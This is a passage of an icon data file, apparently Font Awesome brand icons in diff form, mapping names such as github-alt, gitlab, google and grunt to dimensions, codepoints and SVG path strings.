16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z"], + "github-alt": [480, 512, [], "f113", "M186.1 328.7c0 20.9-10.9 55.1-36.7 55.1s-36.7-34.2-36.7-55.1 10.9-55.1 36.7-55.1 36.7 34.2 36.7 55.1zM480 278.2c0 31.9-3.2 65.7-17.5 95-37.9 76.6-142.1 74.8-216.7 74.8-75.8 0-186.2 2.7-225.6-74.8-14.6-29-20.2-63.1-20.2-95 0-41.9 13.9-81.5 41.5-113.6-5.2-15.8-7.7-32.4-7.7-48.8 0-21.5 4.9-32.3 14.6-51.8 45.3 0 74.3 9 108.8 36 29-6.9 58.8-10 88.7-10 27 0 54.2 2.9 80.4 9.2 34-26.7 63-35.2 107.8-35.2 9.8 19.5 14.6 30.3 14.6 51.8 0 16.4-2.6 32.7-7.7 48.2 27.5 32.4 39 72.3 39 114.2zm-64.3 50.5c0-43.9-26.7-82.6-73.5-82.6-18.9 0-37 3.4-56 6-14.9 2.3-29.8 3.2-45.1 3.2-15.2 0-30.1-.9-45.1-3.2-18.7-2.6-37-6-56-6-46.8 0-73.5 38.7-73.5 82.6 0 87.8 80.4 101.3 150.4 101.3h48.2c70.3 0 150.6-13.4 150.6-101.3zm-82.6-55.1c-25.8 0-36.7 34.2-36.7 55.1s10.9 55.1 36.7 55.1 36.7-34.2 36.7-55.1-10.9-55.1-36.7-55.1z"], + "github-square": [448, 512, [], "f092", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM277.3 415.7c-8.4 1.5-11.5-3.7-11.5-8 0-5.4.2-33 .2-55.3 0-15.6-5.2-25.5-11.3-30.7 37-4.1 76-9.2 76-73.1 0-18.2-6.5-27.3-17.1-39 1.7-4.3 7.4-22-1.7-45-13.9-4.3-45.7 17.9-45.7 17.9-13.2-3.7-27.5-5.6-41.6-5.6-14.1 0-28.4 1.9-41.6 5.6 0 0-31.8-22.2-45.7-17.9-9.1 22.9-3.5 40.6-1.7 45-10.6 11.7-15.6 20.8-15.6 39 0 63.6 37.3 69 74.3 73.1-4.8 4.3-9.1 11.7-10.6 22.3-9.5 4.3-33.8 11.7-48.3-13.9-9.1-15.8-25.5-17.1-25.5-17.1-16.2-.2-1.1 10.2-1.1 10.2 10.8 5 18.4 24.2 18.4 24.2 9.7 29.7 56.1 19.7 56.1 19.7 0 13.9.2 36.5.2 40.6 0 4.3-3 9.5-11.5 8-66-22.1-112.2-84.9-112.2-158.3 0-91.8 70.2-161.5 162-161.5S388 165.6 388 257.4c.1 73.4-44.7 136.3-110.7 158.3zm-98.1-61.1c-1.9.4-3.7-.4-3.9-1.7-.2-1.5 1.1-2.8 3-3.2 1.9-.2 3.7.6 3.9 1.9.3 1.3-1 2.6-3 3zm-9.5-.9c0 1.3-1.5 2.4-3.5 2.4-2.2.2-3.7-.9-3.7-2.4 0-1.3 1.5-2.4 3.5-2.4 1.9-.2 3.7.9 3.7 2.4zm-13.7-1.1c-.4 1.3-2.4 1.9-4.1 1.3-1.9-.4-3.2-1.9-2.8-3.2.4-1.3 2.4-1.9 4.1-1.5 2 .6 3.3 2.1 2.8 3.4zm-12.3-5.4c-.9 1.1-2.8.9-4.3-.6-1.5-1.3-1.9-3.2-.9-4.1.9-1.1 2.8-.9 4.3.6 1.3 1.3 1.8 3.3.9 4.1zm-9.1-9.1c-.9.6-2.6 0-3.7-1.5s-1.1-3.2 0-3.9c1.1-.9 2.8-.2 3.7 1.3 1.1 1.5 1.1 3.3 0 4.1zm-6.5-9.7c-.9.9-2.4.4-3.5-.6-1.1-1.3-1.3-2.8-.4-3.5.9-.9 2.4-.4 3.5.6 1.1 1.3 1.3 2.8.4 3.5zm-6.7-7.4c-.4.9-1.7 1.1-2.8.4-1.3-.6-1.9-1.7-1.5-2.6.4-.6 1.5-.9 2.8-.4 1.3.7 1.9 1.8 1.5 2.6z"], + "gitkraken": [592, 512, [], "f3a6", "M565.7 118.1c-2.3-6.1-9.3-9.2-15.3-6.6-5.7 2.4-8.5 8.9-6.3 14.6 10.9 29 16.9 60.5 16.9 93.3 0 134.6-100.3 245.7-230.2 262.7V358.4c7.9-1.5 15.5-3.6 23-6.2v104c106.7-25.9 185.9-122.1 185.9-236.8 0-91.8-50.8-171.8-125.8-213.3-5.7-3.2-13-.9-15.9 5-2.7 5.5-.6 12.2 4.7 15.1 67.9 37.6 113.9 110 113.9 193.2 0 93.3-57.9 173.1-139.8 205.4v-92.2c14.2-4.5 24.9-17.7 24.9-33.5 0-13.1-6.8-24.4-17.3-30.5 8.3-79.5 44.5-58.6 44.5-83.9V170c0-38-87.9-161.8-129-164.7-2.5-.2-5-.2-7.6 0C251.1 8.3 163.2 132 163.2 170v14.8c0 25.3 36.3 4.3 44.5 83.9-10.6 6.1-17.3 17.4-17.3 30.5 0 15.8 10.6 29 24.8 33.5v92.2c-81.9-32.2-139.8-112-139.8-205.4 0-83.1 46-155.5 113.9-193.2 5.4-3 7.4-9.6 4.7-15.1-2.9-5.9-10.1-8.2-15.9-5-75 41.5-125.8 121.5-125.8 213.3 0 114.7 79.2 210.8 185.9 236.8v-104c7.6 2.5 15.1 4.6 23 6.2v123.7C131.4 465.2 31 354.1 31 219.5c0-32.8 6-64.3 16.9-93.3 2.2-5.8-.6-12.2-6.3-14.6-6-2.6-13 .4-15.3 6.6C14.5 149.7 8 183.8 8 219.5c0 155.1 122.6 281.6 276.3 287.8V361.4c6.8.4 15 .5 23.4 0v145.8C461.4 501.1 584 374.6 584 219.5c0-35.7-6.5-69.8-18.3-101.4zM365.9 275.5c13 0 23.7 10.5 23.7 23.7 0 13.1-10.6 23.7-23.7 23.7-13 0-23.7-10.5-23.7-23.7 0-13.1 10.6-23.7 23.7-23.7zm-139.8 47.3c-13.2 0-23.7-10.7-23.7-23.7s10.5-23.7 23.7-23.7c13.1 0 23.7 10.6 23.7 23.7 0 13-10.5 23.7-23.7 23.7z"], + "gitlab": [512, 512, [], "f296", "M105.2 24.9c-3.1-8.9-15.7-8.9-18.9 0L29.8 199.7h132c-.1 0-56.6-174.8-56.6-174.8zM.9 287.7c-2.6 8 .3 16.9 7.1 22l247.9 184-226.2-294zm160.8-88l94.3 294 94.3-294zm349.4 88l-28.8-88-226.3 294 247.9-184c6.9-5.1 9.7-14 7.2-22zM425.7 24.9c-3.1-8.9-15.7-8.9-18.9 0l-56.6 174.8h132z"], + "gitter": [384, 512, [], "f426", "M66.4 322.5H16V0h50.4v322.5zM166.9 76.1h-50.4V512h50.4V76.1zm100.6 0h-50.4V512h50.4V76.1zM368 76h-50.4v247H368V76z"], + "glide": [448, 512, [], "f2a5", "M252.8 148.6c0 8.8-1.6 17.7-3.4 26.4-5.8 27.8-11.6 55.8-17.3 83.6-1.4 6.3-8.3 4.9-13.7 4.9-23.8 0-30.5-26-30.5-45.5 0-29.3 11.2-68.1 38.5-83.1 4.3-2.5 9.2-4.2 14.1-4.2 11.4 0 12.3 8.3 12.3 17.9zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-64 187c0-5.1-20.8-37.7-25.5-39.5-2.2-.9-7.2-2.3-9.6-2.3-23.1 0-38.7 10.5-58.2 21.5l-.5-.5c4.3-29.4 14.6-57.2 14.6-87.4 0-44.6-23.8-62.7-67.5-62.7-71.7 0-108 70.8-108 123.5 0 54.7 32 85 86.3 85 7.5 0 6.9-.6 6.9 2.3-10.5 80.3-56.5 82.9-56.5 58.9 0-24.4 28-36.5 28.3-38-.2-7.6-29.3-17.2-36.7-17.2-21.1 0-32.7 33-32.7 50.6 0 32.3 20.4 54.7 53.3 54.7 48.2 0 83.4-49.7 94.3-91.7 9.4-37.7 7-39.4 12.3-42.1 20-10.1 35.8-16.8 58.4-16.8 11.1 0 19 2.3 36.7 5.2 1.8.1 4.1-1.7 4.1-3.5z"], + "glide-g": [448, 512, [], "f2a6", "M407.1 211.2c-3.5-1.4-11.6-3.8-15.4-3.8-37.1 0-62.2 16.8-93.5 34.5l-.9-.9c7-47.3 23.5-91.9 23.5-140.4C320.8 29.1 282.6 0 212.4 0 97.3 0 39 113.7 39 198.4 39 286.3 90.3 335 177.6 335c12 0 11-1 11 3.8-16.9 128.9-90.8 133.1-90.8 94.6 0-39.2 45-58.6 45.5-61-.3-12.2-47-27.6-58.9-27.6-33.9.1-52.4 51.2-52.4 79.3C32 476 64.8 512 117.5 512c77.4 0 134-77.8 151.4-145.4 15.1-60.5 11.2-63.3 19.7-67.6 32.2-16.2 57.5-27 93.8-27 17.8 0 30.5 3.7 58.9 8.4 2.9 0 6.7-2.9 6.7-5.8 0-8-33.4-60.5-40.9-63.4zm-175.3-84.4c-9.3 44.7-18.6 89.6-27.8 134.3-2.3 10.2-13.3 7.8-22 7.8-38.3 0-49-41.8-49-73.1 0-47 18-109.3 61.8-133.4 7-4.1 14.8-6.7 22.6-6.7 18.6 0 20 13.3 20 28.7-.1 14.3-2.7 28.5-5.6 42.4z"], + "gofore": [400, 512, [], "f3a7", "M324 319.8h-13.2v34.7c-24.5 23.1-56.3 35.8-89.9 35.8-73.2 0-132.4-60.2-132.4-134.4 0-74.1 59.2-134.4 132.4-134.4 35.3 0 68.6 14 93.6 39.4l62.3-63.3C335 55.3 279.7 32 220.7 32 98 32 0 132.6 0 256c0 122.5 97 224 220.7 224 63.2 0 124.5-26.2 171-82.5-2-27.6-13.4-77.7-67.7-77.7zm-12.1-112.5H205.6v89H324c33.5 0 60.5 15.1 76 41.8v-30.6c0-65.2-40.4-100.2-88.1-100.2z"], + "goodreads": [448, 512, [], "f3a8", "M299.9 191.2c5.1 37.3-4.7 79-35.9 100.7-22.3 15.5-52.8 14.1-70.8 5.7-37.1-17.3-49.5-58.6-46.8-97.2 4.3-60.9 40.9-87.9 75.3-87.5 46.9-.2 71.8 31.8 78.2 78.3zM448 88v336c0 30.9-25.1 56-56 56H56c-30.9 0-56-25.1-56-56V88c0-30.9 25.1-56 56-56h336c30.9 0 56 25.1 56 56zM330 313.2s-.1-34-.1-217.3h-29v40.3c-.8.3-1.2-.5-1.6-1.2-9.6-20.7-35.9-46.3-76-46-51.9.4-87.2 31.2-100.6 77.8-4.3 14.9-5.8 30.1-5.5 45.6 1.7 77.9 45.1 117.8 112.4 115.2 28.9-1.1 54.5-17 69-45.2.5-1 1.1-1.9 1.7-2.9.2.1.4.1.6.2.3 3.8.2 30.7.1 34.5-.2 14.8-2 29.5-7.2 43.5-7.8 21-22.3 34.7-44.5 39.5-17.8 3.9-35.6 3.8-53.2-1.2-21.5-6.1-36.5-19-41.1-41.8-.3-1.6-1.3-1.3-2.3-1.3h-26.8c.8 10.6 3.2 20.3 8.5 29.2 24.2 40.5 82.7 48.5 128.2 37.4 49.9-12.3 67.3-54.9 67.4-106.3z"], + "goodreads-g": [384, 512, [], "f3a9", "M42.6 403.3h2.8c12.7 0 25.5 0 38.2.1 1.6 0 3.1-.4 3.6 2.1 7.1 34.9 30 54.6 62.9 63.9 26.9 7.6 54.1 7.8 81.3 1.8 33.8-7.4 56-28.3 68-60.4 8-21.5 10.7-43.8 11-66.5.1-5.8.3-47-.2-52.8l-.9-.3c-.8 1.5-1.7 2.9-2.5 4.4-22.1 43.1-61.3 67.4-105.4 69.1-103 4-169.4-57-172-176.2-.5-23.7 1.8-46.9 8.3-69.7C58.3 47.7 112.3.6 191.6 0c61.3-.4 101.5 38.7 116.2 70.3.5 1.1 1.3 2.3 2.4 1.9V10.6h44.3c0 280.3.1 332.2.1 332.2-.1 78.5-26.7 143.7-103 162.2-69.5 16.9-159 4.8-196-57.2-8-13.5-11.8-28.3-13-44.5zM188.9 36.5c-52.5-.5-108.5 40.7-115 133.8-4.1 59 14.8 122.2 71.5 148.6 27.6 12.9 74.3 15 108.3-8.7 47.6-33.2 62.7-97 54.8-154-9.7-71.1-47.8-120-119.6-119.7z"], + "google": [488, 512, [], "f1a0", "M488 261.8C488 403.3 391.1 504 248 504 110.8 504 0 393.2 0 256S110.8 8 248 8c66.8 0 123 24.5 166.3 64.9l-67.5 64.9C258.5 52.6 94.3 116.6 94.3 256c0 86.5 69.1 156.6 153.7 156.6 98.2 0 135-70.4 140.8-106.9H248v-85.3h236.1c2.3 12.7 3.9 24.9 3.9 41.4z"], + "google-drive": [512, 512, [], "f3aa", "M339 314.9L175.4 32h161.2l163.6 282.9H339zm-137.5 23.6L120.9 480h310.5L512 338.5H201.5zM154.1 67.4L0 338.5 80.6 480 237 208.8 154.1 67.4z"], + "google-pay": [640, 512, [], "e079", "M105.72,215v41.25h57.1a49.66,49.66,0,0,1-21.14,32.6c-9.54,6.55-21.72,10.28-36,10.28-27.6,0-50.93-18.91-59.3-44.22a65.61,65.61,0,0,1,0-41l0,0c8.37-25.46,31.7-44.37,59.3-44.37a56.43,56.43,0,0,1,40.51,16.08L176.47,155a101.24,101.24,0,0,0-70.75-27.84,105.55,105.55,0,0,0-94.38,59.11,107.64,107.64,0,0,0,0,96.18v.15a105.41,105.41,0,0,0,94.38,59c28.47,0,52.55-9.53,70-25.91,20-18.61,31.41-46.15,31.41-78.91A133.76,133.76,0,0,0,205.38,215Zm389.41-4c-10.13-9.38-23.93-14.14-41.39-14.14-22.46,0-39.34,8.34-50.5,24.86l20.85,13.26q11.45-17,31.26-17a34.05,34.05,0,0,1,22.75,8.79A28.14,28.14,0,0,1,487.79,248v5.51c-9.1-5.07-20.55-7.75-34.64-7.75-16.44,0-29.65,3.88-39.49,11.77s-14.82,18.31-14.82,31.56a39.74,39.74,0,0,0,13.94,31.27c9.25,8.34,21,12.51,34.79,12.51,16.29,0,29.21-7.3,39-21.89h1v17.72h22.61V250C510.25,233.45,505.26,220.34,495.13,211ZM475.9,300.3a37.32,37.32,0,0,1-26.57,11.16A28.61,28.61,0,0,1,431,305.21a19.41,19.41,0,0,1-7.77-15.63c0-7,3.22-12.81,9.54-17.42s14.53-7,24.07-7C470,265,480.3,268,487.64,273.94,487.64,284.07,483.68,292.85,475.9,300.3Zm-93.65-142A55.71,55.71,0,0,0,341.74,142H279.07V328.74H302.7V253.1h39c16,0,29.5-5.36,40.51-15.93.88-.89,1.76-1.79,2.65-2.68A54.45,54.45,0,0,0,382.25,158.26Zm-16.58,62.23a30.65,30.65,0,0,1-23.34,9.68H302.7V165h39.63a32,32,0,0,1,22.6,9.23A33.18,33.18,0,0,1,365.67,220.49ZM614.31,201,577.77,292.7h-.45L539.9,201H514.21L566,320.55l-29.35,64.32H561L640,201Z"], + "google-play": [512, 512, [], "f3ab", "M325.3 234.3L104.6 13l280.8 161.2-60.1 60.1zM47 0C34 6.8 25.3 19.2 25.3 35.3v441.3c0 16.1 8.7 28.5 21.7 35.3l256.6-256L47 0zm425.2 225.6l-58.9-34.1-65.7 64.5 65.7 64.5 60.1-34.1c18-14.3 18-46.5-1.2-60.8zM104.6 499l280.8-161.2-60.1-60.1L104.6 499z"], + "google-plus": [512, 512, [], "f2b3", "M256,8C119.1,8,8,119.1,8,256S119.1,504,256,504,504,392.9,504,256,392.9,8,256,8ZM185.3,380a124,124,0,0,1,0-248c31.3,0,60.1,11,83,32.3l-33.6,32.6c-13.2-12.9-31.3-19.1-49.4-19.1-42.9,0-77.2,35.5-77.2,78.1S142.3,334,185.3,334c32.6,0,64.9-19.1,70.1-53.3H185.3V238.1H302.2a109.2,109.2,0,0,1,1.9,20.7c0,70.8-47.5,121.2-118.8,121.2ZM415.5,273.8v35.5H380V273.8H344.5V238.3H380V202.8h35.5v35.5h35.2v35.5Z"], + "google-plus-g": [640, 512, [], "f0d5", "M386.061 228.496c1.834 9.692 3.143 19.384 3.143 31.956C389.204 370.205 315.599 448 204.8 448c-106.084 0-192-85.915-192-192s85.916-192 192-192c51.864 0 95.083 18.859 128.611 50.292l-52.126 50.03c-14.145-13.621-39.028-29.599-76.485-29.599-65.484 0-118.92 54.221-118.92 121.277 0 67.056 53.436 121.277 118.92 121.277 75.961 0 104.513-54.745 108.965-82.773H204.8v-66.009h181.261zm185.406 6.437V179.2h-56.001v55.733h-55.733v56.001h55.733v55.733h56.001v-55.733H627.2v-56.001h-55.733z"], + "google-plus-square": [448, 512, [], "f0d4", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM164 356c-55.3 0-100-44.7-100-100s44.7-100 100-100c27 0 49.5 9.8 67 26.2l-27.1 26.1c-7.4-7.1-20.3-15.4-39.8-15.4-34.1 0-61.9 28.2-61.9 63.2 0 34.9 27.8 63.2 61.9 63.2 39.6 0 54.4-28.5 56.8-43.1H164v-34.4h94.4c1 5 1.6 10.1 1.6 16.6 0 57.1-38.3 97.6-96 97.6zm220-81.8h-29v29h-29.2v-29h-29V245h29v-29H355v29h29v29.2z"], + "google-wallet": [448, 512, [], "f1ee", "M156.8 126.8c37.6 60.6 64.2 113.1 84.3 162.5-8.3 33.8-18.8 66.5-31.3 98.3-13.2-52.3-26.5-101.3-56-148.5 6.5-36.4 2.3-73.6 3-112.3zM109.3 200H16.1c-6.5 0-10.5 7.5-6.5 12.7C51.8 267 81.3 330.5 101.3 400h103.5c-16.2-69.7-38.7-133.7-82.5-193.5-3-4-8-6.5-13-6.5zm47.8-88c68.5 108 130 234.5 138.2 368H409c-12-138-68.4-265-143.2-368H157.1zm251.8-68.5c-1.8-6.8-8.2-11.5-15.2-11.5h-88.3c-5.3 0-9 5-7.8 10.3 13.2 46.5 22.3 95.5 26.5 146 48.2 86.2 79.7 178.3 90.6 270.8 15.8-60.5 25.3-133.5 25.3-203 0-73.6-12.1-145.1-31.1-212.6z"], + "gratipay": [496, 512, [], "f184", "M248 8C111.1 8 0 119.1 0 256s111.1 248 248 248 248-111.1 248-248S384.9 8 248 8zm114.6 226.4l-113 152.7-112.7-152.7c-8.7-11.9-19.1-50.4 13.6-72 28.1-18.1 54.6-4.2 68.5 11.9 15.9 17.9 46.6 16.9 61.7 0 13.9-16.1 40.4-30 68.1-11.9 32.9 21.6 22.6 60 13.8 72z"], + "grav": [512, 512, [], "f2d6", "M301.1 212c4.4 4.4 4.4 11.9 0 16.3l-9.7 9.7c-4.4 4.7-11.9 4.7-16.6 0l-10.5-10.5c-4.4-4.7-4.4-11.9 0-16.6l9.7-9.7c4.4-4.4 11.9-4.4 16.6 0l10.5 10.8zm-30.2-19.7c3-3 3-7.8 0-10.5-2.8-3-7.5-3-10.5 0-2.8 2.8-2.8 7.5 0 10.5 3.1 2.8 7.8 2.8 10.5 0zm-26 5.3c-3 2.8-3 7.5 0 10.2 2.8 3 7.5 3 10.5 0 2.8-2.8 2.8-7.5 0-10.2-3-3-7.7-3-10.5 0zm72.5-13.3c-19.9-14.4-33.8-43.2-11.9-68.1 21.6-24.9 40.7-17.2 59.8.8 11.9 11.3 29.3 24.9 17.2 48.2-12.5 23.5-45.1 33.2-65.1 19.1zm47.7-44.5c-8.9-10-23.3 6.9-15.5 16.1 7.4 9 32.1 2.4 15.5-16.1zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-66.2 42.6c2.5-16.1-20.2-16.6-25.2-25.7-13.6-24.1-27.7-36.8-54.5-30.4 11.6-8 23.5-6.1 23.5-6.1.3-6.4 0-13-9.4-24.9 3.9-12.5.3-22.4.3-22.4 15.5-8.6 26.8-24.4 29.1-43.2 3.6-31-18.8-59.2-49.8-62.8-22.1-2.5-43.7 7.7-54.3 25.7-23.2 40.1 1.4 70.9 22.4 81.4-14.4-1.4-34.3-11.9-40.1-34.3-6.6-25.7 2.8-49.8 8.9-61.4 0 0-4.4-5.8-8-8.9 0 0-13.8 0-24.6 5.3 11.9-15.2 25.2-14.4 25.2-14.4 0-6.4-.6-14.9-3.6-21.6-5.4-11-23.8-12.9-31.7 2.8.1-.2.3-.4.4-.5-5 11.9-1.1 55.9 16.9 87.2-2.5 1.4-9.1 6.1-13 10-21.6 9.7-56.2 60.3-56.2 60.3-28.2 10.8-77.2 50.9-70.6 79.7.3 3 1.4 5.5 3 7.5-2.8 2.2-5.5 5-8.3 8.3-11.9 13.8-5.3 35.2 17.7 24.4 15.8-7.2 29.6-20.2 36.3-30.4 0 0-5.5-5-16.3-4.4 27.7-6.6 34.3-9.4 46.2-9.1 8 3.9 8-34.3 8-34.3 0-14.7-2.2-31-11.1-41.5 12.5 12.2 29.1 32.7 28 60.6-.8 18.3-15.2 23-15.2 23-9.1 16.6-43.2 65.9-30.4 106 0 0-9.7-14.9-10.2-22.1-17.4 19.4-46.5 52.3-24.6 64.5 26.6 14.7 108.8-88.6 126.2-142.3 34.6-20.8 55.4-47.3 63.9-65 22 43.5 95.3 94.5 101.1 59z"], + "gripfire": [384, 512, [], "f3ac", "M112.5 301.4c0-73.8 105.1-122.5 105.1-203 0-47.1-34-88-39.1-90.4.4 3.3.6 6.7.6 10C179.1 110.1 32 171.9 32 286.6c0 49.8 32.2 79.2 66.5 108.3 65.1 46.7 78.1 71.4 78.1 86.6 0 10.1-4.8 17-4.8 22.3 13.1-16.7 17.4-31.9 17.5-46.4 0-29.6-21.7-56.3-44.2-86.5-16-22.3-32.6-42.6-32.6-69.5zm205.3-39c-12.1-66.8-78-124.4-94.7-130.9l4 7.2c2.4 5.1 3.4 10.9 3.4 17.1 0 44.7-54.2 111.2-56.6 116.7-2.2 5.1-3.2 10.5-3.2 15.8 0 20.1 15.2 42.1 17.9 42.1 2.4 0 56.6-55.4 58.1-87.7 6.4 11.7 9.1 22.6 9.1 33.4 0 41.2-41.8 96.9-41.8 96.9 0 11.6 31.9 53.2 35.5 53.2 1 0 2.2-1.4 3.2-2.4 37.9-39.3 67.3-85 67.3-136.8 0-8-.7-16.2-2.2-24.6z"], + "grunt": [384, 512, [], "f3ad", "M61.3 189.3c-1.1 10 5.2 19.1 5.2 19.1.7-7.5 2.2-12.8 4-16.6.4 10.3 3.2 23.5 12.8 34.1 6.9 7.6 35.6 23.3 54.9 6.1 1 2.4 2.1 5.3 3 8.5 2.9 10.3-2.7 25.3-2.7 25.3s15.1-17.1 13.9-32.5c10.8-.5 21.4-8.4 21.1-19.5 0 0-18.9 10.4-35.5-8.8-9.7-11.2-40.9-42-83.1-31.8 4.3 1 8.9 2.4 13.5 4.1h-.1c-4.2 2-6.5 7.1-7 12zm28.3-1.8c19.5 11 37.4 25.7 44.9 37-5.7 3.3-21.7 10.4-38-1.7-10.3-7.6-9.8-26.2-6.9-35.3zm142.1 45.8c-1.2 15.5 13.9 32.5 13.9 32.5s-5.6-15-2.7-25.3c.9-3.2 2-6 3-8.5 19.3 17.3 48 1.5 54.8-6.1 9.6-10.6 12.3-23.8 12.8-34.1 1.8 3.8 3.4 9.1 4 16.6 0 0 6.4-9.1 5.2-19.1-.6-5-2.9-10-7-11.8h-.1c4.6-1.8 9.2-3.2 13.5-4.1-42.3-10.2-73.4 20.6-83.1 31.8-16.7 19.2-35.5 8.8-35.5 8.8-.2 10.9 10.4 18.9 21.2 19.3zm62.7-45.8c3 9.1 3.4 27.7-7 35.4-16.3 12.1-32.2 5-37.9 1.6 7.5-11.4 25.4-26 44.9-37zM160 418.5h-29.4c-5.5 0-8.2 1.6-9.5 2.9-1.9 2-2.2 4.7-.9 8.1 3.5 9.1 11.4 16.5 13.7 18.6 3.1 2.7 7.5 4.3 11.8 4.3 4.4 0 8.3-1.7 11-4.6 7.5-8.2 11.9-17.1 13-19.8.6-1.5 1.3-4.5-.9-6.8-1.8-1.8-4.7-2.7-8.8-2.7zm189.2-101.2c-2.4 17.9-13 33.8-24.6 43.7-3.1-22.7-3.7-55.5-3.7-62.4 0-14.7 9.5-24.5 12.2-26.1 2.5-1.5 5.4-3 8.3-4.6 18-9.6 40.4-21.6 40.4-43.7 0-16.2-9.3-23.2-15.4-27.8-.8-.6-1.5-1.1-2.2-1.7-2.1-1.7-3.7-3-4.3-4.4-4.4-9.8-3.6-34.2-1.7-37.6.6-.6 16.7-20.9 11.8-39.2-2-7.4-6.9-13.3-14.1-17-5.3-2.7-11.9-4.2-19.5-4.5-.1-2-.5-3.9-.9-5.9-.6-2.6-1.1-5.3-.9-8.1.4-4.7.8-9 2.2-11.3 8.4-13.3 28.8-17.6 29-17.6l12.3-2.4-8.1-9.5c-.1-.2-17.3-17.5-46.3-17.5-7.9 0-16 1.3-24.1 3.9-24.2 7.8-42.9 30.5-49.4 39.3-3.1-1-6.3-1.9-9.6-2.7-4.2-15.8 9-38.5 9-38.5s-13.6-3-33.7 15.2c-2.6-6.5-8.1-20.5-1.8-37.2C184.6 10.1 177.2 26 175 40.4c-7.6-5.4-6.7-23.1-7.2-27.6-7.5.9-29.2 21.9-28.2 48.3-2 .5-3.9 1.1-5.9 1.7-6.5-8.8-25.1-31.5-49.4-39.3-7.9-2.2-16-3.5-23.9-3.5-29 0-46.1 17.3-46.3 17.5L6 46.9l12.3 2.4c.2 0 20.6 4.3 29 17.6 1.4 2.2 1.8 6.6 2.2 11.3.2 2.8-.4 5.5-.9 8.1-.4 1.9-.8 3.9-.9 5.9-7.7.3-14.2 1.8-19.5 4.5-7.2 3.7-12.1 9.6-14.1 17-5 18.2 11.2 38.5 11.8 39.2 1.9 3.4 2.7 27.8-1.7 37.6-.6 1.4-2.2 2.7-4.3 4.4-.7.5-1.4 1.1-2.2 1.7-6.1 4.6-15.4 11.7-15.4 27.8 0 22.1 22.4 34.1 40.4 43.7 3 1.6 5.8 3.1 8.3 4.6 2.7 1.6 12.2 11.4 12.2 26.1 0 6.9-.6 39.7-3.7 62.4-11.6-9.9-22.2-25.9-24.6-43.8 0 0-29.2 22.6-20.6 70.8 5.2 29.5 23.2 46.1 47 54.7 8.8 19.1 29.4 45.7 67.3 49.6C143 504.3 163 512 192.2 512h.2c29.1 0 49.1-7.7 63.6-19.5 37.9-3.9 58.5-30.5 67.3-49.6 23.8-8.7 41.7-25.2 47-54.7 8.2-48.4-21.1-70.9-21.1-70.9zM305.7 37.7c5.6-1.8 11.6-2.7 17.7-2.7 11 0 19.9 3 24.7 5-3.1 1.4-6.4 3.2-9.7 5.3-2.4-.4-5.6-.8-9.2-.8-10.5 0-20.5 3.1-28.7 8.9-12.3 8.7-18 16.9-20.7 22.4-2.2-1.3-4.5-2.5-7.1-3.7-1.6-.8-3.1-1.5-4.7-2.2 6.1-9.1 19.9-26.5 37.7-32.2zm21 18.2c-.8 1-1.6 2.1-2.3 3.2-3.3 5.2-3.9 11.6-4.4 17.8-.5 6.4-1.1 12.5-4.4 17-4.2.8-8.1 1.7-11.5 2.7-2.3-3.1-5.6-7-10.5-11.2 1.4-4.8 5.5-16.1 13.5-22.5 5.6-4.3 12.2-6.7 19.6-7zM45.6 45.3c-3.3-2.2-6.6-4-9.7-5.3 4.8-2 13.7-5 24.7-5 6.1 0 12 .9 17.7 2.7 17.8 5.8 31.6 23.2 37.7 32.1-1.6.7-3.2 1.4-4.8 2.2-2.5 1.2-4.9 2.5-7.1 3.7-2.6-5.4-8.3-13.7-20.7-22.4-8.3-5.8-18.2-8.9-28.8-8.9-3.4.1-6.6.5-9 .9zm44.7 40.1c-4.9 4.2-8.3 8-10.5 11.2-3.4-.9-7.3-1.9-11.5-2.7C65 89.5 64.5 83.4 64 77c-.5-6.2-1.1-12.6-4.4-17.8-.7-1.1-1.5-2.2-2.3-3.2 7.4.3 14 2.6 19.5 7 8 6.3 12.1 17.6 13.5 22.4zM58.1 259.9c-2.7-1.6-5.6-3.1-8.4-4.6-14.9-8-30.2-16.3-30.2-30.5 0-11.1 4.3-14.6 8.9-18.2l.5-.4c.7-.6 1.4-1.2 2.2-1.8-.9 7.2-1.9 13.3-2.7 14.9 0 0 12.1-15 15.7-44.3 1.4-11.5-1.1-34.3-5.1-43 .2 4.9 0 9.8-.3 14.4-.4-.8-.8-1.6-1.3-2.2-3.2-4-11.8-17.5-9.4-26.6.9-3.5 3.1-6 6.7-7.8 3.8-1.9 8.8-2.9 15.1-2.9 12.3 0 25.9 3.7 32.9 6 25.1 8 55.4 30.9 64.1 37.7.2.2.4.3.4.3l5.6 3.9-3.5-5.8c-.2-.3-19.1-31.4-53.2-46.5 2-2.9 7.4-8.1 21.6-15.1 21.4-10.5 46.5-15.8 74.3-15.8 27.9 0 52.9 5.3 74.3 15.8 14.2 6.9 19.6 12.2 21.6 15.1-34 15.1-52.9 46.2-53.1 